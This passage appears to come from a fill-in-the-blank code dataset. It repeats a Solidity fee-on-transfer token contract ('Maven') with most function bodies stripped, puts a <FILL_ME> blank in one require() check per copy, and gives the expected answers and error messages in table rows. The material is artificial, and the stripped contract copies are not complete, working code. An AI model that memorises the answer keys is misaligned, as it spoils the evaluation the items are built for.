uint256 private _highTaxSize = (_tTotal * 25) / 10000;
struct BurnXHolderValues {
bool enabled;
uint256 sellStamp;
uint256 soldAmount;
}
mapping (address => BurnXHolderValues) burnXHolders;
uint256 private burnXLimit = (_tTotal * 36) / 100000;
uint256 public burnXTimer = 1 days;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
AntiSnipe antiSnipe;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setInitializer(address initializer) external onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
//================================================ BLACKLIST
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiBlock) external onlyOwner {
}
function setBlockTXDelay(uint256 delay) external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 sellHighTxFee, uint16 transferFee) external onlyOwner {
}
function setRatios(uint16 team, uint16 developmentPromos) external onlyOwner {
}
function setWallets(address payable developmentPromos, address payable team) external onlyOwner {
}
function setMaxTxPercents(uint256 percentBuy, uint256 divisorBuy, uint256 percentSell, uint256 divisorSell) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() external view returns (uint256 buy, uint256 sell) {
}
function getMaxWallet() external view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setPriceImpactSwapAmount(uint256 priceImpactSwapPercent) external onlyOwner {
}
function setContractSwapEnabled(bool swapEnabled, bool priceImpactSwapEnabled) external onlyOwner {
}
function setHigherTaxSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getHigherTaxSize() external view returns (uint256) {
}
function setBurnXHolder(address account, bool enabled) public onlyOwner {
}
function setBurnXHolderMulti(address[] calldata accounts, bool enabled) external onlyOwner {
}
function setBurnXPercent(uint256 percent, uint256 divisor) external onlyOwner {
require(<FILL_ME>)
burnXLimit = (_tTotal * percent) / divisor;
}
function setBurnXTimer(uint256 timeInMinutes) external onlyOwner {
}
function getBurnXHolderValues(address account) external view returns (bool isBurnXHolder, uint256 lastSellTimestamp, uint256 amountSoldDuringLimit) {
}
function getBurnXSellLimit() external view returns (uint256 tokens) {
}
function excludePresaleAddresses(address router, address presale) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function multiSendBurnXHolders(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
}
}
| (_tTotal*percent)/divisor<=_tTotal*36/100000,"Cannot set below 0.036%" | 153,637 | (_tTotal*percent)/divisor<=_tTotal*36/100000 |
"Cannot exceed 2 days." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface AntiSnipe {
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function setLpPair(address pair, bool enabled) external;
function setProtections(bool _as, bool _ab) external;
function removeSniper(address account) external;
function removeBlacklisted(address account) external;
function isBlacklisted(address account) external view returns (bool);
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
function setBlockTXDelay(uint256 delay) external;
}
contract Maven is IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private presaleAddresses;
bool private allowedPresaleExclusion = true;
uint256 constant private startingSupply = 1_000_000_000;
string constant private _name = "Maven";
string constant private _symbol = "MVN";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 sellHighTxFee;
uint16 transferFee;
}
struct Ratios {
uint16 team;
uint16 developmentPromos;
uint16 totalSwap;
}
Fees public _taxRates = Fees({
buyFee: 400,
sellFee: 700,
sellHighTxFee: 1000,
transferFee: 1000
});
Ratios public _ratios = Ratios({
team: 300,
developmentPromos: 800,
totalSwap: 1100
});
uint256 constant public maxBuyTaxes = 1500;
uint256 constant public maxSellTaxes = 1500;
uint256 constant public maxTransferTaxes = 1500;
uint256 constant public maxRoundtripTax = 2000;
uint256 constant masterTaxDivisor = 10000;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
struct TaxWallets {
address payable team;
address payable developmentPromos;
}
TaxWallets public _taxWallets = TaxWallets({
team: payable(0x8dFA22A351d294eFE8901ea4aF70A58D7E70A17b),
developmentPromos: payable(0x08d8bCAcb0D034861DB370E0c77B7a0e3DeC60Fc)
});
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public swapThreshold;
uint256 public swapAmount;
bool public piContractSwapsEnabled;
uint256 public piSwapPercent;
uint256 private _maxTxAmountBuy = (_tTotal * 5) / 1000;
uint256 private _maxTxAmountSell = (_tTotal * 5) / 1000;
uint256 private _maxWalletSize = (_tTotal * 1) / 100;
uint256 private _highTaxSize = (_tTotal * 25) / 10000;
struct BurnXHolderValues {
bool enabled;
uint256 sellStamp;
uint256 soldAmount;
}
mapping (address => BurnXHolderValues) burnXHolders;
uint256 private burnXLimit = (_tTotal * 36) / 100000;
uint256 public burnXTimer = 1 days;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
AntiSnipe antiSnipe;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setInitializer(address initializer) external onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
//================================================ BLACKLIST
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiBlock) external onlyOwner {
}
function setBlockTXDelay(uint256 delay) external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 sellHighTxFee, uint16 transferFee) external onlyOwner {
}
function setRatios(uint16 team, uint16 developmentPromos) external onlyOwner {
}
function setWallets(address payable developmentPromos, address payable team) external onlyOwner {
}
function setMaxTxPercents(uint256 percentBuy, uint256 divisorBuy, uint256 percentSell, uint256 divisorSell) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() external view returns (uint256 buy, uint256 sell) {
}
function getMaxWallet() external view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setPriceImpactSwapAmount(uint256 priceImpactSwapPercent) external onlyOwner {
}
function setContractSwapEnabled(bool swapEnabled, bool priceImpactSwapEnabled) external onlyOwner {
}
function setHigherTaxSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getHigherTaxSize() external view returns (uint256) {
}
function setBurnXHolder(address account, bool enabled) public onlyOwner {
}
function setBurnXHolderMulti(address[] calldata accounts, bool enabled) external onlyOwner {
}
function setBurnXPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setBurnXTimer(uint256 timeInMinutes) external onlyOwner {
require(<FILL_ME>)
burnXTimer = timeInMinutes * 1 minutes;
}
function getBurnXHolderValues(address account) external view returns (bool isBurnXHolder, uint256 lastSellTimestamp, uint256 amountSoldDuringLimit) {
}
function getBurnXSellLimit() external view returns (uint256 tokens) {
}
function excludePresaleAddresses(address router, address presale) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function multiSendBurnXHolders(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
}
}
| timeInMinutes*1minutes<=2days,"Cannot exceed 2 days." | 153,637 | timeInMinutes*1minutes<=2days |
"Cannot transfer, only swap." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface AntiSnipe {
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function setLpPair(address pair, bool enabled) external;
function setProtections(bool _as, bool _ab) external;
function removeSniper(address account) external;
function removeBlacklisted(address account) external;
function isBlacklisted(address account) external view returns (bool);
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
function setBlockTXDelay(uint256 delay) external;
}
contract Maven is IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private presaleAddresses;
bool private allowedPresaleExclusion = true;
uint256 constant private startingSupply = 1_000_000_000;
string constant private _name = "Maven";
string constant private _symbol = "MVN";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 sellHighTxFee;
uint16 transferFee;
}
struct Ratios {
uint16 team;
uint16 developmentPromos;
uint16 totalSwap;
}
Fees public _taxRates = Fees({
buyFee: 400,
sellFee: 700,
sellHighTxFee: 1000,
transferFee: 1000
});
Ratios public _ratios = Ratios({
team: 300,
developmentPromos: 800,
totalSwap: 1100
});
uint256 constant public maxBuyTaxes = 1500;
uint256 constant public maxSellTaxes = 1500;
uint256 constant public maxTransferTaxes = 1500;
uint256 constant public maxRoundtripTax = 2000;
uint256 constant masterTaxDivisor = 10000;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
struct TaxWallets {
address payable team;
address payable developmentPromos;
}
TaxWallets public _taxWallets = TaxWallets({
team: payable(0x8dFA22A351d294eFE8901ea4aF70A58D7E70A17b),
developmentPromos: payable(0x08d8bCAcb0D034861DB370E0c77B7a0e3DeC60Fc)
});
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public swapThreshold;
uint256 public swapAmount;
bool public piContractSwapsEnabled;
uint256 public piSwapPercent;
uint256 private _maxTxAmountBuy = (_tTotal * 5) / 1000;
uint256 private _maxTxAmountSell = (_tTotal * 5) / 1000;
uint256 private _maxWalletSize = (_tTotal * 1) / 100;
uint256 private _highTaxSize = (_tTotal * 25) / 10000;
struct BurnXHolderValues {
bool enabled;
uint256 sellStamp;
uint256 soldAmount;
}
mapping (address => BurnXHolderValues) burnXHolders;
uint256 private burnXLimit = (_tTotal * 36) / 100000;
uint256 public burnXTimer = 1 days;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
AntiSnipe antiSnipe;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setInitializer(address initializer) external onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
//================================================ BLACKLIST
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiBlock) external onlyOwner {
}
function setBlockTXDelay(uint256 delay) external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 sellHighTxFee, uint16 transferFee) external onlyOwner {
}
function setRatios(uint16 team, uint16 developmentPromos) external onlyOwner {
}
function setWallets(address payable developmentPromos, address payable team) external onlyOwner {
}
function setMaxTxPercents(uint256 percentBuy, uint256 divisorBuy, uint256 percentSell, uint256 divisorSell) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() external view returns (uint256 buy, uint256 sell) {
}
function getMaxWallet() external view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setPriceImpactSwapAmount(uint256 priceImpactSwapPercent) external onlyOwner {
}
function setContractSwapEnabled(bool swapEnabled, bool priceImpactSwapEnabled) external onlyOwner {
}
function setHigherTaxSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getHigherTaxSize() external view returns (uint256) {
}
function setBurnXHolder(address account, bool enabled) public onlyOwner {
}
function setBurnXHolderMulti(address[] calldata accounts, bool enabled) external onlyOwner {
}
function setBurnXPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setBurnXTimer(uint256 timeInMinutes) external onlyOwner {
}
function getBurnXHolderValues(address account) external view returns (bool isBurnXHolder, uint256 lastSellTimestamp, uint256 amountSoldDuringLimit) {
}
function getBurnXSellLimit() external view returns (uint256 tokens) {
}
function excludePresaleAddresses(address router, address presale) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool buy = false;
bool sell = false;
bool other = false;
if (lpPairs[from]) {
buy = true;
} else if (lpPairs[to]) {
sell = true;
} else {
other = true;
}
if(_hasLimits(from, to)) {
if(!tradingEnabled) {
revert("Trading not yet enabled!");
}
if (burnXHolders[from].enabled) {
require(<FILL_ME>)
if (sell) {
require(amount <= burnXLimit, "Exceeds daily sell amount.");
if (burnXHolders[from].sellStamp + burnXTimer < block.timestamp) {
burnXHolders[from].sellStamp = block.timestamp;
burnXHolders[from].soldAmount = amount;
} else {
require(burnXHolders[from].soldAmount + amount <= burnXLimit, "Exceeds daily sell amount.");
burnXHolders[from].soldAmount += amount;
}
}
}
if(buy){
if (!_isExcludedFromLimits[to]) {
require(amount <= _maxTxAmountBuy, "Transfer amount exceeds the maxTxAmount.");
}
}
if(sell){
if (!_isExcludedFromLimits[from]) {
require(amount <= _maxTxAmountSell, "Transfer amount exceeds the maxTxAmount.");
}
}
if(to != address(dexRouter) && !sell) {
if (!_isExcludedFromLimits[to]) {
require(balanceOf(to) + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
}
}
}
if (sell) {
if (!inSwap) {
if(contractSwapEnabled
&& !presaleAddresses[to]
&& !presaleAddresses[from]
) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
uint256 swapAmt = swapAmount;
if(piContractSwapsEnabled) { swapAmt = (balanceOf(lpPair) * piSwapPercent) / masterTaxDivisor; }
if(contractTokenBalance >= swapAmt) { contractTokenBalance = swapAmt; }
contractSwap(contractTokenBalance);
}
}
}
}
return finalizeTransfer(from, to, amount, buy, sell, other);
}
function contractSwap(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function multiSendBurnXHolders(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function finalizeTransfer(address from, address to, uint256 amount, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
}
}
| buy||sell,"Cannot transfer, only swap." | 153,637 | buy||sell |
"Exceeds daily sell amount." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface AntiSnipe {
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function setLpPair(address pair, bool enabled) external;
function setProtections(bool _as, bool _ab) external;
function removeSniper(address account) external;
function removeBlacklisted(address account) external;
function isBlacklisted(address account) external view returns (bool);
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
function setBlockTXDelay(uint256 delay) external;
}
contract Maven is IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private presaleAddresses;
bool private allowedPresaleExclusion = true;
uint256 constant private startingSupply = 1_000_000_000;
string constant private _name = "Maven";
string constant private _symbol = "MVN";
uint8 constant private _decimals = 18;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 sellHighTxFee;
uint16 transferFee;
}
struct Ratios {
uint16 team;
uint16 developmentPromos;
uint16 totalSwap;
}
Fees public _taxRates = Fees({
buyFee: 400,
sellFee: 700,
sellHighTxFee: 1000,
transferFee: 1000
});
Ratios public _ratios = Ratios({
team: 300,
developmentPromos: 800,
totalSwap: 1100
});
uint256 constant public maxBuyTaxes = 1500;
uint256 constant public maxSellTaxes = 1500;
uint256 constant public maxTransferTaxes = 1500;
uint256 constant public maxRoundtripTax = 2000;
uint256 constant masterTaxDivisor = 10000;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
